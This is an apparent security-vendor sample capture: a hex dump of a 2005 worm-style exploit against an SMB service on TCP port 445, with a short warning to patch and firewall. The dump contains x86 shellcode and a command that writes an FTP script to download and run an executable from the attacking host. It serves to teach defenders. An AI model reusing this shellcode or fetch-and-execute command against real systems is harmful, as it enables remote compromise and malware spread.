TCP 445 Sample Capture
TCP port 445 is one of the most commonly attacked ports as there are far too
many exposed and or unpatched Windows systems on the internet, or simply are
exposed with unsecured file or resource shares (easiest system on the internet
to hack). These problems could easily be solved keeping Windows Patches up
to date and or using a Firewall (Note we suggest the use of both)
This is a sample TCP port 445 capture showing a common exploit pattern.
Note the use of FTP to download and execute the rest of the worm, similar to
how the Sasser worm worked.
TCP Connection Request
---- 28/06/2005 21:45:42.171
68.144.126.120 : 2573 TCP Connected ID = 16
---- 28/06/2005 21:45:42.181
Status Code: 0 OK
---- Data Sent
0 00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 .....SMBr.....S.
10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
20 00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b..PC NETWO
30 52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 RK PROGRAM 1.0..
40 4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F LANMAN1.0..Windo
50 77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ws for Workgroup
60 73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 s 3.1a..LM1.2X00
70 32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 2..LANMAN2.1..NT
80 20 4C 4D 20 30 2E 31 32 00 LM 0.12.
68.144.126.120 : 2573 TCP Data In Length 4 bytes
MD5 = D760B4F5CCA6CC4FE2BED30A6814145D
---- 28/06/2005 21:45:42.201
0 00 00 00 85 ....
---- Data Sent
0 42 61 64 20 32 30 30 30 20 73 6D 62 20 64 6F 67 Bad 2000 smb dog
10 0D 0A 0D 0A ....
68.144.126.120 : 2573 TCP Data In Length 133 bytes
MD5 = 92A7BD0633A633EE93A89908DB22697A
---- 28/06/2005 21:45:43.793
0 FF 53 4D 42 72 00 00 00 00 18 53 C8 00 00 00 00 .SMBr.....S.....
10 00 00 00 00 00 00 00 00 00 00 37 13 00 00 00 00 ..........7.....
20 00 62 00 02 50 43 20 4E 45 54 57 4F 52 4B 20 50 .b..PC NETWORK P
30 52 4F 47 52 41 4D 20 31 2E 30 00 02 4C 41 4E 4D ROGRAM 1.0..LANM
40 41 4E 31 2E 30 00 02 57 69 6E 64 6F 77 73 20 66 AN1.0..Windows f
50 6F 72 20 57 6F 72 6B 67 72 6F 75 70 73 20 33 2E or Workgroups 3.
60 31 61 00 02 4C 4D 31 2E 32 58 30 30 32 00 02 4C 1a..LM1.2X002..L
70 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 20 4C 4D 20 ANMAN2.1..NT LM
80 30 2E 31 32 00 0.12.
---- Data Sent
0 42 61 64 20 32 30 30 30 20 73 6D 62 20 64 6F 67 Bad 2000 smb dog
10 0D 0A 0D 0A ....
68.144.126.120 : 2573 TCP Data In Length 1448 bytes
MD5 = 76D465CCE36C93E52EB216E3D8442351
---- 28/06/2005 21:45:44.214
0 00 00 10 BF FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 13 ..............7.
20 00 00 00 00 0C FF 00 00 00 04 11 0A 00 00 00 00 ................
30 00 00 00 7E 10 00 00 00 00 D4 00 00 80 7E 10 60 ...~.........~.`
40 82 10 7A 06 06 2B 06 01 05 05 02 A0 82 10 6E 30 ..z..+........n0
50 82 10 6A A1 82 10 66 23 82 10 62 03 82 04 01 00 ..j...f#..b.....
60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
70 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
80 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
90 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
100 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
110 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
120 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
140 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
150 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
160 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
170 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
180 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
190 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
1F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
200 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
210 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
220 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
230 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
240 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
250 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
290 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
2F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
300 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
310 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
320 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
330 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
340 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
350 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
360 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
370 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
3F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
400 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
410 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
420 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
430 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
440 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
450 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
460 03 00 23 82 0C 57 03 82 04 0A 00 90 42 90 42 90 ..#..W......B.B.
470 42 90 42 81 C4 54 F2 FF FF FC E8 46 00 00 00 8B B.B..T.....F....
480 45 3C 8B 7C 05 78 01 EF 8B 4F 18 8B 5F 20 01 EB E<.|.x...O.._ ..
490 E3 2E 49 8B 34 8B 01 EE 31 C0 99 AC 84 C0 74 07 ..I.4...1.....t.
4A0 C1 CA 0D 01 C2 EB F4 3B 54 24 04 75 E3 8B 5F 24 .......;T$.u.._$
4B0 01 EB 66 8B 0C 4B 8B 5F 1C 01 EB 8B 1C 8B 01 EB ..f..K._........
4C0 89 5C 24 04 C3 31 C0 64 8B 40 30 85 C0 78 0F 8B .\$..1.d.@0..x..
4D0 40 0C 8B 70 1C AD 8B 68 08 E9 0B 00 00 00 8B 40 @..p...h.......@
4E0 34 05 7C 00 00 00 8B 68 3C 5F 31 F6 60 56 EB 0D 4.|....h<_1.`V..
4F0 68 EF CE E0 60 68 98 FE 8A 0E 57 FF E7 E8 EE FF h...`h....W.....
500 FF FF 63 6D 64 20 2F 6B 20 65 63 68 6F 20 6F 70 ..cmd /k echo op
510 65 6E 20 36 38 2E 31 34 34 2E 31 32 36 2E 31 32 en 68.144.126.12
520 30 20 32 38 33 35 34 20 3E 20 6F 26 65 63 68 6F 0 28354 > o&echo
530 20 75 73 65 72 20 31 20 31 20 3E 3E 20 6F 20 26 user 1 1 >> o &
540 65 63 68 6F 20 67 65 74 20 77 69 6E 63 66 67 6B echo get wincfgk
550 6F 70 39 2E 65 78 65 20 3E 3E 20 6F 20 26 65 63 op9.exe >> o &ec
560 68 6F 20 71 75 69 74 20 3E 3E 20 6F 20 26 66 74 ho quit >> o &ft
570 70 20 2D 6E 20 2D 73 3A 6F 20 26 64 65 6C 20 2F p -n -s:o &del /
580 46 20 2F 51 20 6F 20 26 77 69 6E 63 66 67 6B 6F F /Q o &wincfgko
590 70 39 2E 65 78 65 0D 0A 00 42 42 42 42 42 42 42 p9.exe...BBBBBBB
5A0 42 42 42 42 42 42 42 42 BBBBBBBB
---- Data Sent
0 42 61 64 20 32 30 30 30 20 73 6D 62 20 64 6F 67 Bad 2000 smb dog
10 0D 0A 0D 0A ....
68.144.126.120 : 2573 TCP Data In Length 1448 bytes
MD5 = BB1F5287458E05C72F3F77B5C6B9EE0D
---- 28/06/2005 21:45:44.414
0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
20 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
30 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
40 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
50 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
60 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
70 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
80 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
90 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
B0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
C0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
D0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
E0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
F0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
100 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
110 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
120 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
130 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
140 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
150 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
160 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
170 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
180 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
190 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1B0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1C0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1D0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1E0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
1F0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
200 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
210 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
220 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
230 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
240 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
250 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
260 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
270 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
280 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
290 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
2A0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
2B0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
2C0 42 42 42 42 42 42 42 42 42 42 42 42 23 0A 03 08 BBBBBBBBBBBB#...
2D0 00 F8 0F 01 00 F8 0F 01 23 82 08 39 03 82 04 11 ........#..9....
2E0 00 43 43 43 43 20 F0 FD 7F 53 56 57 66 81 EC 80 .CCCC ..SVWf...
2F0 00 89 E6 E8 ED 00 00 00 FF 36 68 09 12 D6 63 E8 .........6h...c.
300 F7 00 00 00 89 46 08 E8 A2 00 00 00 FF 76 04 68 .....F.......v.h
310 6B D0 2B CA E8 E2 00 00 00 89 46 0C E8 3F 00 00 k.+.......F..?..
320 00 FF 76 04 68 FA 97 02 4C E8 CD 00 00 00 31 DB ..v.h...L.....1.
330 68 10 04 00 00 53 FF D0 89 C3 56 8B 76 10 89 C7 h....S....V.v...
340 B9 10 04 00 00 F3 A4 5E 31 C0 50 50 50 53 50 50 .......^1.PPPSPP
350 FF 56 0C 8B 46 08 66 81 C4 80 00 5F 5E 5B FF E0 .V..F.f...._^[..
360 60 E8 23 00 00 00 8B 44 24 0C 8D 58 7C 83 43 3C `.#....D$..X|.C<
370 05 81 43 28 00 10 00 00 81 63 28 00 F0 FF FF 8B ..C(.....c(.....
380 04 24 83 C4 14 50 31 C0 C3 31 D2 64 FF 32 64 89 .$...P1..1.d.2d.
390 22 31 DB B8 90 42 90 42 31 C9 B1 02 89 DF F3 AF "1...B.B1.......
3A0 74 03 43 EB F3 89 7E 10 64 8F 02 58 61 C3 60 BF t.C...~.d..Xa.`.
3B0 20 F0 FD 7F 8B 1F 8B 46 08 89 07 8B 7F F8 81 C7 .....F.......
3C0 78 01 00 00 89 F9 39 19 74 04 8B 09 EB F8 89 FA x.....9.t.......
3D0 39 5A 04 74 05 8B 52 04 EB F6 89 11 89 4A 04 C6 9Z.t..R......J..
3E0 43 FD 01 61 C3 A1 0C F0 FD 7F 8B 40 1C 8B 58 08 C..a......@..X.
3F0 89 1E 8B 00 8B 40 08 89 46 04 C3 60 8B 6C 24 28 .....@..F..`.l$(
400 8B 45 3C 8B 54 05 78 01 EA 8B 4A 18 8B 5A 20 01 .E<.T.x...J..Z .
410 EB E3 38 49 8B 34 8B 01 EE 31 FF 31 C0 FC AC 38 ..8I.4...1.1...8
420 E0 74 07 C1 CF 0D 01 C7 EB F4 3B 7C 24 24 75 E1 .t........;|$$u.
430 8B 5A 24 01 EB 66 8B 0C 4B 8B 5A 1C 01 EB 8B 04 .Z$..f..K.Z.....
440 8B 01 E8 89 44 24 1C 61 C2 08 00 EB FE 43 43 43 ....D$.a.....CCC
450 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
460 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
470 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
480 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
490 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
4F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
500 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
510 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
520 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
530 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
540 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
550 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
560 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
570 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
580 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
590 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
5A0 43 43 43 43 43 43 43 43 CCCCCCCC
---- Data Sent
0 42 61 64 20 32 30 30 30 20 73 6D 62 20 64 6F 67 Bad 2000 smb dog
10 0D 0A 0D 0A ....
68.144.126.120 : 2573 TCP Data In Length 1395 bytes
MD5 = 706A87364FB5D309C825E59B7704F77A
---- 28/06/2005 21:45:47.048
0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
10 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
20 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
30 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
40 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
50 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
70 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
80 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
90 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
A0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
D0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
E0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
F0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
100 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
110 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
120 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
130 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
140 43 43 43 43 43 43 43 43 43 23 82 04 20 03 09 00 CCCCCCCCC#.. ...
150 EB 06 90 90 90 90 90 90 03 82 04 11 00 44 44 44 .............DDD
160 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
170 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
180 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
190 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1A0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1B0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1C0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1D0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1E0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
1F0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
200 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
210 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
220 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
230 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
240 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
250 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
260 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
270 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
280 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
290 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2A0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2B0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2C0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2D0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2E0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
2F0 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
300 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
310 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
320 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
330 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
340 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
350 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
360 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
370 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
